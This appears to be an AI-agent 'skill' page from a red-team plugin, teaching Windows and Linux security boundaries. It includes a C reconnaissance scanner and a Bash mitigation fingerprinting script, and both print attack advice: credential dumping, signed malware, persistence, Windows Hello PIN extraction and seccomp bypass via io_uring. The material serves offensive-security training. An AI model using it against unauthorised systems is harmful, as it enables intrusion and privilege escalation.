Taxonomy of Windows security boundaries (kernel/user, sandbox, COM/RPC, hypervisor) and attack surface enumeration for privilege escalation and sandbox escapes.
Ships in red-team-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Windows security boundary taxonomy and attack surface enumeration: kernel/user boundary, sandbox boundaries (LPAC, AppContainer), COM/RPC boundaries, hypervisor boundary, trust level transitions. Use when planning privilege escalation paths, sandbox escapes, or understanding Windows security architecture.
Use this skill when the conversation involves any of:
Windows boundaries, security boundary, kernel user boundary, sandbox escape, AppContainer, LPAC, COM boundary, RPC boundary, hypervisor, Hyper-V, privilege escalation, trust level
When this skill is active:
created by AnotherOne from @Pwn3rzs Telegram channel.
Week 6 taught you how mitigations work defensively. You'll learn to bypass the OS security policies and features that prevent your code from running, your processes from accessing protected resources, and your actions from being logged. This is distinct from Week 8, which teaches you how to bypass exploit mitigations (DEP, ASLR, CFG) once your code is already running.
Week 7 vs Week 8 - The Key Distinction:
- Week 7 answers: "Can my code execute at all?" - bypass AMSI, WDAC, ASR, AppContainers, integrity levels, PPL, ETW telemetry
- Week 8 answers: "Can my exploit succeed?" - bypass DEP, ASLR, stack cookies, CFG/XFG, heap safe-unlinking
This Week's Focus:
Prerequisites:
By the end of this week, you should have completed:
┌─────────────────────────────────────────────────────────────────┐
│ Offensive Reconnaissance: What to Enumerate │
├─────────────────────────────────────────────────────────────────┤
│ │
│ SYSTEM-LEVEL PROCESS-LEVEL │
│ ───────────── ───────────── │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ VBS/HVCI │ │ DEP/NX │ │
│ │ WDAC/CI │ │ ASLR │ │
│ │ Secure Boot │ │ CFG/XFG │ │
│ │ Credential │ │ CET/Shadow │ │
│ │ Guard │ │ ACG │ │
│ │ KDP │ │ CIG │ │
│ │ KASLR │ │ Child Process│ │
│ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ Determines: Determines: │
│ - Kernel exploit - Shellcode execution │
│ feasibility - Code injection │
│ - Driver loading - ROP requirements │
│ - Credential theft - Process hollowing │
│ │
│ ATTACK SURFACE MAPPING │
│ ───────────────────── │
│ ├── Unprotected legacy binaries (no ASLR/DEP) │
│ ├── Signed but vulnerable drivers (BYOVD) │
│ ├── Processes running without ACG/CFG │
│ └── Kernel version -> known vulnerabilities │
│ │
└─────────────────────────────────────────────────────────────────┘
This scanner enumerates security boundaries on a Windows target. Why this matters: Before exploiting a target, you need to know which mitigations are active.
// unified_recon.c
// Combines system, process, binary, and policy analysis
// Compile: cl src\unified_recon.c /Fe:bin\unified_recon.exe advapi32.lib
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
// PE DLL Characteristics flags
#define IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA 0x0020
#define IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 0x0040
#define IMAGE_DLLCHARACTERISTICS_NX_COMPAT 0x0100
#define IMAGE_DLLCHARACTERISTICS_NO_SEH 0x0400
#define IMAGE_DLLCHARACTERISTICS_GUARD_CF 0x4000
void CheckSystemMitigations() {
printf("\n=== SYSTEM-LEVEL MITIGATIONS ===\n\n");
// Check VBS/HVCI via registry (more reliable than WMI)
printf("[*] Checking VBS/HVCI status...\n");
HKEY hKey;
DWORD vbsEnabled = 0, hvciEnabled = 0;
DWORD size = sizeof(DWORD);
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueExA(hKey, "EnableVirtualizationBasedSecurity", NULL, NULL, (LPBYTE)&vbsEnabled, &size);
RegCloseKey(hKey);
}
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueExA(hKey, "Enabled", NULL, NULL, (LPBYTE)&hvciEnabled, &size);
RegCloseKey(hKey);
}
printf(" VBS: %s\n", vbsEnabled ? "ENABLED" : "Disabled");
printf(" HVCI: %s\n", hvciEnabled ? "ENABLED" : "Disabled");
if (hvciEnabled) {
printf(" [!] HVCI blocks unsigned kernel drivers\n");
printf(" [*] Attack: Need signed vulnerable driver (BYOVD)\n");
} else {
printf(" [+] HVCI disabled - unsigned drivers can load\n");
}
// Check Secure Boot via firmware variable
printf("\n[*] Checking Secure Boot...\n");
DWORD secureBootEnabled = 0;
size = sizeof(DWORD);
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\SecureBoot\\State",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueExA(hKey, "UEFISecureBootEnabled", NULL, NULL, (LPBYTE)&secureBootEnabled, &size);
RegCloseKey(hKey);
printf(" Secure Boot: %s\n", secureBootEnabled ? "ENABLED" : "Disabled");
} else {
printf(" Secure Boot: Unable to determine (may not be UEFI)\n");
}
// Check KASLR status (kernel base randomization)
printf("\n[*] Checking KASLR (kernel base varies per boot)...\n");
printf(" Note: KASLR leaks restricted in Win 24H2+ without SeDebugPrivilege\n");
printf(" KASLR is enabled by default on modern Windows\n");
// Check Credential Guard
printf("\n[*] Checking Credential Guard...\n");
DWORD credGuard = 0;
size = sizeof(DWORD);
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueExA(hKey, "LsaCfgFlags", NULL, NULL, (LPBYTE)&credGuard, &size);
RegCloseKey(hKey);
if (credGuard & 1) {
printf(" Credential Guard: ENABLED\n");
printf(" [!] Mimikatz credential dumping will FAIL\n");
} else {
printf(" Credential Guard: Disabled\n");
printf(" [+] Mimikatz can dump credentials\n");
}
}
}
void CheckProcessMitigations(DWORD pid, const char* procName) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProcess) return;
printf("\n[%s (PID: %d)]\n", procName, pid);
// DEP
PROCESS_MITIGATION_DEP_POLICY depPolicy = {0};
if (GetProcessMitigationPolicy(hProcess, ProcessDEPPolicy, &depPolicy, sizeof(depPolicy))) {
printf(" DEP: %s%s\n",
depPolicy.Enable ? "ON" : "OFF",
depPolicy.Permanent ? " (Permanent)" : "");
}
// ASLR
PROCESS_MITIGATION_ASLR_POLICY aslrPolicy = {0};
if (GetProcessMitigationPolicy(hProcess, ProcessASLRPolicy, &aslrPolicy, sizeof(aslrPolicy))) {
printf(" ASLR: BottomUp=%d HighEntropy=%d ForceRelocate=%d\n",
aslrPolicy.EnableBottomUpRandomization,
aslrPolicy.EnableHighEntropy,
aslrPolicy.EnableForceRelocateImages);
}
// ACG (Dynamic Code)
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY acgPolicy = {0};
if (GetProcessMitigationPolicy(hProcess, ProcessDynamicCodePolicy, &acgPolicy, sizeof(acgPolicy))) {
printf(" ACG: %s\n", acgPolicy.ProhibitDynamicCode ? "ON (No dynamic code)" : "OFF");
}
// CFG
PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY cfgPolicy = {0};
if (GetProcessMitigationPolicy(hProcess, ProcessControlFlowGuardPolicy, &cfgPolicy, sizeof(cfgPolicy))) {
printf(" CFG: %s StrictMode=%d\n",
cfgPolicy.EnableControlFlowGuard ? "ON" : "OFF",
cfgPolicy.StrictMode);
}
CloseHandle(hProcess);
}
void FindWeakProcesses() {
printf("\n=== HUNTING WEAK PROCESSES ===\n");
printf("[*] Looking for processes WITHOUT mitigations (exploitation targets)...\n\n");
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnapshot, &pe)) {
do {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (!hProc) continue;
PROCESS_MITIGATION_DEP_POLICY dep = {0};
PROCESS_MITIGATION_ASLR_POLICY aslr = {0};
PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY cfg = {0};
GetProcessMitigationPolicy(hProc, ProcessDEPPolicy, &dep, sizeof(dep));
GetProcessMitigationPolicy(hProc, ProcessASLRPolicy, &aslr, sizeof(aslr));
GetProcessMitigationPolicy(hProc, ProcessControlFlowGuardPolicy, &cfg, sizeof(cfg));
// Flag if missing critical mitigations
if (!dep.Enable || !aslr.EnableBottomUpRandomization || !cfg.EnableControlFlowGuard) {
printf("[!] WEAK: %s (PID %d) - DEP:%d ASLR:%d CFG:%d\n",
pe.szExeFile, pe.th32ProcessID,
dep.Enable, aslr.EnableBottomUpRandomization, cfg.EnableControlFlowGuard);
}
CloseHandle(hProc);
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
void EnumerateDrivers() {
printf("\n=== DRIVER ENUMERATION (BYOVD Targets) ===\n");
printf("[*] Enumerating loaded kernel drivers...\n\n");
// Query drivers via registry
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
DWORD index = 0;
char subKeyName[256];
DWORD subKeyLen;
int driverCount = 0;
printf("%-30s %-10s %s\n", "Driver Name", "Type", "Path");
printf("%-30s %-10s %s\n", "===========", "====", "====");
while (1) {
subKeyLen = sizeof(subKeyName);
if (RegEnumKeyExA(hKey, index++, subKeyName, &subKeyLen, NULL, NULL, NULL, NULL) != ERROR_SUCCESS)
break;
HKEY hSubKey;
char fullPath[512];
snprintf(fullPath, sizeof(fullPath), "SYSTEM\\CurrentControlSet\\Services\\%s", subKeyName);
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, fullPath, 0, KEY_READ, &hSubKey) == ERROR_SUCCESS) {
DWORD type = 0;
DWORD size = sizeof(DWORD);
if (RegQueryValueExA(hSubKey, "Type", NULL, NULL, (LPBYTE)&type, &size) == ERROR_SUCCESS) {
// Type 1 = Kernel driver
if (type == 1) {
char imagePath[512] = {0};
size = sizeof(imagePath);
RegQueryValueExA(hSubKey, "ImagePath", NULL, NULL, (LPBYTE)imagePath, &size);
printf("%-30s %-10s %s\n", subKeyName, "Kernel", imagePath);
driverCount++;
if (driverCount >= 20) { // Limit output
printf("\n[*] Showing first 20 drivers. Total may be higher.\n");
break;
}
}
}
RegCloseKey(hSubKey);
}
}
RegCloseKey(hKey);
}
printf("\n[*] Check against vulnerable driver list:\n");
printf(" https://www.loldrivers.io/\n");
printf(" https://github.com/magicsword-io/LOLDrivers\n");
}
// XFG (eXtended Flow Guard) - finer-grained CFI than CFG
void CheckXFGStatus(HANDLE hProcess, const char* procName) {
/*
XFG (eXtended Flow Guard) Detection:
=====================================
XFG improves on CFG by using type-based hashes for indirect calls.
Detection methods:
1. Check PE header for XFG metadata
2. Look for __guard_xfg_* symbols
3. Check if process has XFG-aware imports
Attack implications:
- XFG makes CFG bypass harder
- Need type-compatible function for exploit
- Data-only attacks still work
*/
PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY cfgPolicy = {0};
if (GetProcessMitigationPolicy(hProcess, ProcessControlFlowGuardPolicy, &cfgPolicy, sizeof(cfgPolicy))) {
printf(" XFG Analysis:\n");
printf(" CFG Enabled: %s\n", cfgPolicy.EnableControlFlowGuard ? "YES" : "NO");
printf(" Export Suppression: %s\n", cfgPolicy.EnableExportSuppression ? "YES" : "NO");
printf(" Strict Mode: %s\n", cfgPolicy.StrictMode ? "YES" : "NO");
if (cfgPolicy.EnableControlFlowGuard && cfgPolicy.StrictMode) {
printf(" [!] Likely XFG-enabled (strict CFG + export suppression)\n");
printf(" [*] Attack: Need type-compatible gadgets for bypass\n");
}
}
}
void CheckCETShadowStack(HANDLE hProcess, const char* procName) {
/*
CET Shadow Stack Detection:
===========================
Hardware-enforced return address protection (Intel 11th gen+)
Shadow stack keeps copy of return addresses in protected memory.
ROP attacks fail because RET validates against shadow stack.
Bypass vectors:
1. JOP (Jump-Oriented Programming) - doesn't use RET
2. COP (Call-Oriented Programming)
3. Find code without CET (legacy binaries)
4. Disable CET via kernel exploit
*/
PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY cetPolicy = {0};
if (GetProcessMitigationPolicy(hProcess, ProcessUserShadowStackPolicy, &cetPolicy, sizeof(cetPolicy))) {
printf(" CET Shadow Stack:\n");
printf(" Enabled: %s\n", cetPolicy.EnableUserShadowStack ? "YES" : "NO");
printf(" Strict Mode: %s\n", cetPolicy.EnableUserShadowStackStrictMode ? "YES" : "NO");
printf(" Block Non-CET Binaries: %s\n", cetPolicy.BlockNonCetBinaries ? "YES" : "NO");
printf(" IP Validation: %s\n", cetPolicy.SetContextIpValidation ? "YES" : "NO");
if (cetPolicy.EnableUserShadowStack) {
printf(" [!] ROP will FAIL - shadow stack validates returns\n");
printf(" [*] Attack: Use JOP/COP or find non-CET modules\n");
if (!cetPolicy.BlockNonCetBinaries) {
printf(" [+] Non-CET binaries allowed - find legacy DLLs\n");
}
} else {
printf(" [+] CET disabled - ROP attacks viable\n");
}
} else {
printf(" CET Shadow Stack: Not supported or access denied\n");
}
}
void CheckARM64PAC() {
/*
ARM64 Pointer Authentication (PAC):
====================================
Signs pointers with cryptographic signature in unused bits.
Available on ARM64 Windows 11 and ARM Linux/macOS.
PAC keys:
- APIA/APIB: Instruction pointers (return addresses)
- APDA/APDB: Data pointers
- APGA: Generic authentication
Bypass vectors:
1. PAC oracle to brute-force signature
2. Pointer substitution attacks
3. Find code path that doesn't validate
4. Kernel exploit to leak/forge keys
*/
printf("\n=== ARM64 PAC Detection ===\n");
#ifdef _M_ARM64
// Check if running on ARM64 Windows
SYSTEM_INFO sysInfo;
GetNativeSystemInfo(&sysInfo);
if (sysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {
printf("[*] Running on ARM64 architecture\n");
// Check for PAC support via IsProcessorFeaturePresent
// PF_ARM_V83_LRCPC_INSTRUCTIONS_AVAILABLE (32) indicates ARMv8.3+
if (IsProcessorFeaturePresent(32)) {
printf("[!] ARMv8.3+ detected - PAC likely supported\n");
printf("[*] Attack implications:\n");
printf(" - Return addresses are signed (PACIA/PACIB)\n");
printf(" - ROP gadgets need valid PAC signatures\n");
printf(" - Look for PAC signing oracles or key leaks\n");
}
}
#else
printf("[*] Not ARM64 - PAC not applicable\n");
printf("[*] To test ARM64 PAC: Use Windows on ARM or ARM Linux/macOS\n");
#endif
}
DWORD GetProcessIdByName(const char* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnapshot, &pe)) {
do {
if (_stricmp(pe.szExeFile, processName) == 0) {
DWORD pid = pe.th32ProcessID;
CloseHandle(hSnapshot);
return pid;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}
void CheckKASANStatus() {
/*
Windows KASAN (Kernel Address Sanitizer):
=========================================
detects kernel memory bugs.
Impact on exploitation:
- UAF and OOB bugs trigger Bug Check 0x1F2
- Makes reliability testing harder
- Detects heap spray corruption
For researchers:
- Use KASAN to find bugs faster
- Production systems usually don't have it
*/
printf("\n=== Windows KASAN Detection ===\n");
// Check registry for KASAN enablement
HKEY hKey;
DWORD kasanEnabled = 0;
DWORD size = sizeof(DWORD);
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Kernel",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueExA(hKey, "KasanEnabled", NULL, NULL,
(LPBYTE)&kasanEnabled, &size);
RegCloseKey(hKey);
}
printf("[*] KASAN Status: %s\n", kasanEnabled ? "ENABLED" : "Disabled/Not configured");
if (kasanEnabled) {
printf("[!] KASAN is enabled - memory bugs will trigger BSOD\n");
printf("[*] This is likely a development/test system\n");
printf("[*] Exploitation reliability will be harder to achieve\n");
} else {
printf("[*] KASAN not enabled - standard exploitation applies\n");
printf("[*] UAF/OOB exploitation possible without immediate crash\n");
}
}
void CheckKernelCET() {
/*
Kernel-mode CET Shadow Stack:
=============================
Protects kernel return addresses from ROP attacks.
Impact:
- Kernel ROP chains will fail
- Need different primitive (JOP, data-only)
- BYOVD still works if driver doesn't use ROP
*/
printf("\n=== Kernel CET Shadow Stack ===\n");
// Query via NtQuerySystemInformation or check feature flags
// For now, use registry/build check
OSVERSIONINFOEXW osvi = { sizeof(osvi) };
typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW);
RtlGetVersion_t RtlGetVersion = (RtlGetVersion_t)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
RtlGetVersion((PRTL_OSVERSIONINFOW)&osvi);
printf("[*] Build: %d\n", osvi.dwBuildNumber);
if (osvi.dwBuildNumber >= 22621) { // Win11 22H2+
printf("[*] Build supports kernel CET\n");
// Check via registry for hypervisor settings
HKEY hKey;
char cetEnabled[256] = {0};
DWORD size = sizeof(cetEnabled);
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
if (RegQueryValueExA(hKey, "CetEnabled", NULL, NULL, (LPBYTE)cetEnabled, &size) == ERROR_SUCCESS) {
printf("[*] Kernel CET Registry: %s\n", cetEnabled);
}
RegCloseKey(hKey);
}
printf("\n[*] If kernel CET enabled:\n");
printf(" - Kernel ROP attacks blocked\n");
printf(" - Need JOP/data-only techniques\n");
printf(" - Or exploit driver that doesn't use ROP internally\n");
} else {
printf("[+] Build predates kernel CET - kernel ROP viable\n");
}
}
void CheckSmartAppControl() {
/*
Smart App Control (SAC):
========================
blocks untrusted applications.
States:
- 0: Off (disabled, cannot re-enable without reinstall)
- 1: On (enforcing, blocks untrusted apps)
- 2: Evaluation (learning mode)
Bypass vectors:
- Signed malware with valid certificates
- LNK file bypass (CVE-2024-38217)
- LOLBins (trusted Microsoft binaries)
- Script execution (PowerShell not blocked by default)
- DLL sideloading into trusted processes
*/
printf("\n=== Smart App Control (SAC) ===\n");
HKEY hKey;
DWORD sacState = 0;
DWORD size = sizeof(DWORD);
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\CI\\Policy",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
if (RegQueryValueExA(hKey, "VerifiedAndReputablePolicyState", NULL, NULL,
(LPBYTE)&sacState, &size) == ERROR_SUCCESS) {
switch (sacState) {
case 0:
printf("[+] SAC: Disabled\n");
printf("[*] Unsigned executables can run freely\n");
break;
case 1:
printf("[!] SAC: ENABLED (Enforcing)\n");
printf("[!] Unsigned executables will be blocked\n");
printf("[*] Bypass vectors:\n");
printf(" - Use signed malware (valid code signing cert)\n");
printf(" - LNK file bypass (CVE-2024-38217)\n");
printf(" - LOLBins (MSBuild, InstallUtil, Regsvr32)\n");
printf(" - Script-based payloads (PowerShell + AMSI bypass)\n");
printf(" - DLL sideloading into trusted processes\n");
break;
case 2:
printf("[*] SAC: Evaluation Mode (Learning)\n");
printf("[*] May transition to enforcing - establish persistence now\n");
break;
default:
printf("[?] SAC: Unknown state (%d)\n", sacState);
}
} else {
printf("[*] SAC: Not available (Pre-22H2 or Server)\n");
}
RegCloseKey(hKey);
} else {
printf("[*] SAC: Not available (Pre-22H2 or Server)\n");
}
}
void CheckAdminProtection() {
/*
Administrator Protection:
=========================
Windows Hello for admin operations.
Impact:
- UAC bypass alone insufficient
- Need Windows Hello PIN/biometric credential
- Kernel-level bypass still works (BYOVD)
Bypass vectors:
- Windows Hello PIN extraction (NGC folder + DPAPI)
- Pre-authentication persistence (standard user)
- Kernel-level token manipulation (BYOVD)
- Physical access (offline registry modification)
- Social engineering (fake Windows Hello prompt)
*/
printf("\n=== Administrator Protection ===\n");
HKEY hKey;
DWORD adminProtection = 0;
DWORD size = sizeof(DWORD);
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueExA(hKey, "EnableAdminProtection", NULL, NULL,
(LPBYTE)&adminProtection, &size);
RegCloseKey(hKey);
if (adminProtection == 1) {
printf("[!] Administrator Protection: ENABLED\n");
printf("[!] Admin operations require Windows Hello authentication\n");
printf("[*] Bypass vectors:\n");
printf(" - Extract Windows Hello PIN (NGC folder + DPAPI key)\n");
printf(" - Pre-authentication persistence (standard user context)\n");
printf(" - Kernel-level bypass (BYOVD -> token manipulation)\n");
printf(" - Physical access (offline registry modification)\n");
printf(" - Social engineering (fake Windows Hello prompt)\n");
} else {
printf("[+] Administrator Protection: Disabled\n");
printf("[*] Standard UAC bypass techniques applicable\n");
}
} else {
printf("[*] Administrator Protection: Not available (Pre-24H2)\n");
}
}
void AnalyzePEFile(const char* filepath) {
/*
PE Binary Analysis:
===================
Check PE headers for security mitigations.
Flags checked:
- DYNAMIC_BASE: ASLR enabled
- HIGH_ENTROPY_VA: 64-bit ASLR with more entropy
- NX_COMPAT: DEP enabled (non-executable stack/heap)
- GUARD_CF: Control Flow Guard enabled
- NO_SEH: SEH removed (CFG requirement)
*/
HANDLE hFile = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open: %s\n", filepath);
return;
}
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hMapping) {
CloseHandle(hFile);
return;
}
LPVOID pBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!pBase) {
CloseHandle(hMapping);
CloseHandle(hFile);
return;
}
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) {
UnmapViewOfFile(pBase);
CloseHandle(hMapping);
CloseHandle(hFile);
return;
}
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBase + pDos->e_lfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) {
UnmapViewOfFile(pBase);
CloseHandle(hMapping);
CloseHandle(hFile);
return;
}
WORD dllChars = pNt->OptionalHeader.DllCharacteristics;
printf("\n[%s]\n", filepath);
printf(" ASLR (DYNAMICBASE): %s\n", (dllChars & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) ? "YES" : "NO <<<");
printf(" High Entropy ASLR: %s\n", (dllChars & IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA) ? "YES" : "NO");
printf(" DEP (NX_COMPAT): %s\n", (dllChars & IMAGE_DLLCHARACTERISTICS_NX_COMPAT) ? "YES" : "NO <<<");
printf(" CFG (GUARD_CF): %s\n", (dllChars & IMAGE_DLLCHARACTERISTICS_GUARD_CF) ? "YES" : "NO <<<");
printf(" NO_SEH: %s\n", (dllChars & IMAGE_DLLCHARACTERISTICS_NO_SEH) ? "YES" : "NO");
// Flag as potential target if missing protections
if (!(dllChars & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) ||
!(dllChars & IMAGE_DLLCHARACTERISTICS_NX_COMPAT) ||
!(dllChars & IMAGE_DLLCHARACTERISTICS_GUARD_CF)) {
printf(" >>> POTENTIAL EXPLOITATION TARGET <<<\n");
}
UnmapViewOfFile(pBase);
CloseHandle(hMapping);
CloseHandle(hFile);
}
int main(int argc, char* argv[]) {
CheckSystemMitigations();
CheckSmartAppControl();
CheckAdminProtection();
FindWeakProcesses();
EnumerateDrivers();
CheckKernelCET();
CheckKASANStatus();
CheckARM64PAC();
// Check specific high-value target
DWORD lsassPid = GetProcessIdByName("lsass.exe");
if (lsassPid) {
HANDLE hLsass = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, lsassPid);
if (hLsass) {
printf("\n[LSASS.EXE Analysis]\n");
CheckXFGStatus(hLsass, "lsass.exe");
CheckCETShadowStack(hLsass, "lsass.exe");
CloseHandle(hLsass);
}
}
// Binary analysis if files provided
if (argc > 1) {
printf("\n");
for (int i = 1; i < argc; i++) {
AnalyzePEFile(argv[i]);
}
}
printf("\n=== ATTACK PATH RECOMMENDATIONS ===\n");
printf("1. If VBS/HVCI disabled: Kernel exploitation viable\n");
printf("2. If weak processes found: Target for injection\n");
printf("3. If vulnerable drivers present: BYOVD path available\n");
printf("4. If Credential Guard off: Mimikatz will work\n");
printf("5. If CET disabled: ROP attacks work\n");
printf("6. If CET enabled: Use JOP/COP or find non-CET binaries\n");
printf("7. If XFG strict: Need type-compatible function gadgets\n");
printf("8. On ARM64 with PAC: Look for signing oracles\n");
printf("9. If SAC enabled: Use signed malware or LOLBins\n");
printf("10. If Admin Protection on: Extract Windows Hello PIN or use kernel bypass\n");
return 0;
}
Usage Examples:
# System-wide reconnaissance
.\bin\unified_recon.exe
# Include binary analysis
.\bin\unified_recon.exe bin\vuln_capstone_weak.exe bin\vuln_capstone_hard.exe
# Analyze specific binaries
.\bin\unified_recon.exe C:\Windows\System32\notepad.exe C:\Windows\System32\calc.exe
Linux systems have their own set of security boundaries that differ significantly from Windows. This scanner checks kernel hardening features. Why this matters: io_uring is a game-changer for Linux exploitation - it allows file and network operations without triggering seccomp filters, making it a powerful sandbox escape vector.
#!/bin/bash
# ~/offensive_lab/linux_mitigation_scanner.sh
# Fingerprints kernel hardening, sandboxing, and exploit mitigations
cat << 'BANNER'
Linux Mitigation Scanner - Offensive Recon
BANNER
echo ""
echo "=== KERNEL HARDENING STATUS ==="
echo ""
# KASLR
echo -n "[*] KASLR: "
if cat /proc/kallsyms 2>/dev/null | head -1 | grep -q "0000000000000000"; then
echo "ENABLED (symbols zeroed for non-root)"
echo " Attack: Need info leak or /dev/mem access"
else
echo "READABLE or disabled"
if [ "$(id -u)" = "0" ]; then
KBASE=$(cat /proc/kallsyms | head -1 | awk '{print $1}')
echo " Kernel base: 0x$KBASE"
fi
fi
# SMEP/SMAP (CPU features)
echo -n "[*] SMEP: "
if grep -q smep /proc/cpuinfo 2>/dev/null; then
echo "SUPPORTED (blocks user-space code exec from kernel)"
echo " Attack: ROP/JOP required, can't jump to userspace shellcode"
else
echo "NOT SUPPORTED - ret2user viable"
fi
echo -n "[*] SMAP: "
if grep -q smap /proc/cpuinfo 2>/dev/null; then
echo "SUPPORTED (blocks user-space data access from kernel)"
echo " Attack: Need copy_from_user or disable SMAP (popf gadget)"
else
echo "NOT SUPPORTED - can access userspace data from kernel"
fi
# Kernel lockdown
echo -n "[*] Kernel Lockdown: "
if [ -f /sys/kernel/security/lockdown ]; then
LOCKDOWN=$(cat /sys/kernel/security/lockdown)
echo "$LOCKDOWN"
if [[ "$LOCKDOWN" == *"[integrity]"* ]] || [[ "$LOCKDOWN" == *"[confidentiality]"* ]]; then
echo " Attack: /dev/mem, kexec, BPF restricted"
fi
else
echo "NOT CONFIGURED"
fi
# KFENCE (production memory safety)
echo -n "[*] KFENCE: "
if [ -d /sys/kernel/debug/kfence ] 2>/dev/null; then
echo "ENABLED (sampling memory safety)"
echo " Impact: Some UAF/OOB bugs will be detected"
else
echo "Not detected"
fi
echo ""
echo "=== SANDBOX/LSM STATUS ==="
echo ""
# Check active LSMs
echo "[*] Active LSMs:"
if [ -f /sys/kernel/security/lsm ]; then
cat /sys/kernel/security/lsm
fi
# Landlock (unprivileged sandboxing)
echo ""
echo -n "[*] Landlock LSM: "
if [ -f /sys/kernel/security/landlock/abi_version ]; then
VERSION=$(cat /sys/kernel/security/landlock/abi_version)
echo "AVAILABLE (ABI version $VERSION)"
echo " Applications can sandbox themselves without root"
echo " Check: strace -e landlock_create_ruleset app"
else
echo "NOT AVAILABLE"
fi
# eBPF LSM
echo -n "[*] eBPF LSM: "
if grep -q bpf /sys/kernel/security/lsm 2>/dev/null; then
echo "ENABLED"
echo " [!] Programs can attach BPF LSM hooks"
echo " Check for security policy BPF programs"
else
echo "Not in active LSMs"
fi
# BPF restrictions
echo "[*] BPF Unprivileged Access:"
UNPRIVBPF=$(cat /proc/sys/kernel/unprivileged_bpf_disabled 2>/dev/null)
case $UNPRIVBPF in
0) echo " ALLOWED - unprivileged users can load BPF" ;;
1) echo " DISABLED - requires CAP_BPF/root" ;;
2) echo " PERMANENTLY DISABLED" ;;
*) echo " Unknown ($UNPRIVBPF)" ;;
esac
echo ""
echo "=== SECCOMP & io_uring STATUS ==="
echo ""
# Check seccomp support
echo -n "[*] Seccomp: "
if grep -q SECCOMP /proc/self/status; then
SECCOMP_MODE=$(grep Seccomp /proc/self/status | awk '{print $2}')
case $SECCOMP_MODE in
0) echo "AVAILABLE (this shell not filtered)" ;;
1) echo "STRICT MODE (only read/write/exit)" ;;
2) echo "FILTER MODE (BPF filtering active)" ;;
esac
else
echo "NOT AVAILABLE"
fi
# io_uring - THE HOT ATTACK SURFACE
echo ""
echo "[*] io_uring Status:"
echo " [!!!] io_uring BYPASSES seccomp filters!"
echo ""
IOURING_DISABLED=$(cat /proc/sys/kernel/io_uring_disabled 2>/dev/null)
case $IOURING_DISABLED in
0)
echo " io_uring: FULLY ENABLED"
echo " [!] All users can use io_uring - seccomp bypass possible!"
echo " Attack: Use io_uring ops instead of blocked syscalls"
;;
1)
echo " io_uring: RESTRICTED (CAP_SYS_RESOURCE required)"
